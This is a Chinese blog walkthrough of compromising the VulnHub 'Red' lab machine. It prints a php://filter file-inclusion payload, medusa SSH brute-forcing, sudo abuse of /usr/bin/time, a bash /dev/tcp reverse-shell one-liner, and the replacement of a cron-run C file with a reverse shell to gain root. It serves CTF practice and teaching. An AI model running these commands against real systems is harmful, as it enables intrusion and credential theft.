打靶分享:VulnHub-Red

本文讲述了作者通过nmap扫描发现靶机,利用gobuster和Dirsearch检测Web应用漏洞,遇到域名解析问题后通过Hashcat破解密码,最终实现提权并获取反弹shell的过程。
摘要由CSDN通过智能技术生成

一:环境

     靶机下载地址:Red: 1 ~ VulnHub

     靶机IP:10.0.0.131这里靶机可以使用VMware或者virtualbox打开(优先推荐使用virtualbox),至于virtualbox在打开多个靶机时如何       进行网路设置使得与kali虚拟机可以互相ping通,我在下一篇文章中会说明。如果有配置虚拟机网路出问题的可以看我下一篇文章)

    攻击机kali虚拟机

    攻击机IP10.0.0.128

二:实战

     先用nmap 10.0.0.0/24查看该网段存活主机,发现了IP为10.0.0.131的靶机。

接下来,使用命令nmap -sV -p- 10.0.0.131收集该靶机的信息

发现有22,80两个端口,所以先浏览器访问一下80这个端口

这里在点击Hello Blue!跳转时发现域名变为redrocks.win了且显示无法访问,所以此时需要将该域名添加在kali虚拟机的/etc/hosts中。

添加后继续访问发现和之前问题一样,此时我突然意识到是不是我用物理机的浏览器访问的原因,因为该域名在物理机上是没有的。为了验证我这个猜想,我就使用kali虚拟机上的浏览器访问并且访问成功了,为了进一步验证我的猜想是对的,我就将该域名添加在了物理机上。添加方式为:

在C:\Windows\System32\drivers\etc\hosts中添加,要记得先给user hosts文件的写的权限,不然无法保存更改后的hosts文件。

保存完成后,就可以点击跳转了

发现这样一个界面,好像没什么信息(应该是英文水平不够的原因吧,哈哈)所以这种界面上出现看不懂的英文一定要找有道。Your site has been Hacked! You’ll never find the backdoor hahaha(你的网站被黑了!你永远找不到后门,哈哈哈)。所以,接下来我们要找到这个后门,那就使用Dirsearch -u 10.0.0.131扫描后台目录

这些绿色的一个一个来看,先看robots.txt

诶个访问没发现什么,下面几个打开后都是一些界面,没有什么用。所以,接下来使用gobuster dir -w /usr/share/seclists/Discovery/Web-Content/CommonBackdoors-PHP.fuzz.txt -x .php -u http://redrocks.win/进行目录的枚举

这个报错意思是没有这个域名,前面说过没有域名要添加,因为是在Kali的终端进行的,所以将域名添加到Kali的/etc/hosts中 

添加完再继续使用gobuster命令。

这可能是因为传参的时候出问题了,所以使用命令

wfuzz -c -u 'http://redrocks.win/NetworkFileManagerPHP.php?FUZZ=test' -w /usr/share/seclists/Discovery/Web-Content/burp-parameter-names.txt来测试参数

接下来访问redrocks.win/NetworkFileManagerPHP.php?key=/etc/passwd

发现是一个文件包含的漏洞,上述内容目前不能为我们所用。所以使用php伪协议查看源码

发现可能是一个base64编码,先解码

VGhhdCBwYXNzd29yZCBhbG9uZSB3b24ndCBoZWxwIHlvdSEgSGFzaGNhdCBzYXlzIHJ1bGVzIGFyZSBydWxlcw==继续解码

看不懂,上网易有道

单凭密码是帮不了你的!Hashcat说规则就是规则,查一下Hashcat,大概意思就是按照一种规则生成密码。所以继续查找密码,试试配置文件

http://redrocks.win/NetworkFileManagerPHP.php?key=php://filter/read=convert.base64-encode/resource=wp-config.php

这里发现了一个用户名和密码

用户名:john

 密码:R3v_m4lwh3r3_k1nG!!

先尝试登陆

登陆失败,突然想到前面那句话“单凭密码是帮不了你的!Hashcat说规则就是规则”,所以使用Hashcat碰撞,使用命令

hashcat --stdout pass.txt -r /usr/share/hashcat/rules/best64.rule >result.txt

(解释一下这里pass.txt存放的是刚才得到的那个密码  R3v_m4lwh3r3_k1nG!!,result.txt中存放的是碰撞后的结果,best64是因为上述内容是base64解出来的。所以,猜测是base64规则)

这就是碰撞生成的密码字典,接下来使用该字典进行爆破

medusa -M ssh -h redrocks.win -u john -P result.txt

爆破成功,开始登陆

登录成功,接下来进行提权。先使用sudo -l查看当前用户可以执行的操纵

发现有/usr/bin/time是在ippsec用户下,那就先切换到ippsec用户,结果发现退出来了

一开始我还没管以为是靶机或者网络不好,就用之前的密码再次登录。结果是登录失败

此时我就意识到了,这个密码应该是动态的,隔一段时间就变了并且时不时就拒绝连接了。所以,此时必须解决会话不能持久的问题,我上网查了发现可以通过新建一个终端进行会话持久,那就开干。首先,在kali上打开一个监听端口

nc - lvvp 7777 

 然后,再次爆破登录,登录成功后使先切换用户。同过sudo -l 命令发现可以使用

sudo -u ippsec usr/bin/time /bin/bash切换到ippsec用户,然后,使用一句话木马进行反弹shell

bash -c 'bash -i <& /dev/tcp/10.0.0.131/7777 0>&1'                                                                      

反弹成功,新终端的功能不全。输入以下命令进行设置

python3 -c 'import pty;pty.spawn("/bin/bash")'
export SHELL=bash
#然后按Ctrl z先回到kali,再输入
stty raw -echo;fg 
#最后输入reset

最后得到下面界面

我不知道为什么变成了这样,也没有找到解决办法。(如果有大哥大姐有解决办法记得给我留言)。

同时,也发现之前的连接已经掉了。但是shell 反弹的终端还在

 接下来就开始进行提权,之前有说到有后门。所以查看一下正在运行的内容,这里我们使用pspy64s来查看。先将工具上传到靶机/dev/shm这个目录下

wget https://github.com/DominicBreuker/pspy/releases/download/v1.2.0/pspy64s

 然后给pspy64s一个运行的权限

chmod +x pspy64s

运行:./pspy64s

有一个supersecretfileuc.c文件正在运行,去到这个文件目录下发现可以删除这个文件。此时我们就可以找一个.c的反弹shell来替换这个文件(注意这里.c文件的名称要与supersecretfileuc一致,这样就会正常运行我们替换的文件)。可以去这个网站

Online - Reverse Shell Generator (revshells.com)icon-default.png?t=N7T8https://www.revshells.com/去得到一个.c的反弹shell代码(记得修改代码中的IP和端口号),将其复制到kali上再通过wget上传至靶机。先在kali上打开上传的端口

然后上传

wget http://10.0.0.128:555/tiquan/supersecretfileuc.c

说没有内存空间了,然后我去尝试上传到/dev/shm目录然后移动过来。结果是没有权限,我就上百度搜了一下说可以用软连接。

ln -s /dev/shm/supersecretfileuc.c supersecretfileuc.c

给运行权限

chmod +x supersecretfileuc.c

先在kali上开启反弹shell代码中的端口

nc -lvvp 9001

然后等待就可以了,因为supersecretfileuc.c文件是自行运行的所以等着监听窗口响应

响应成功并且已经拿到了root权限

在/home/oxdf目录下成功拿到flag!!!

  • 42
    点赞
  • 28
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值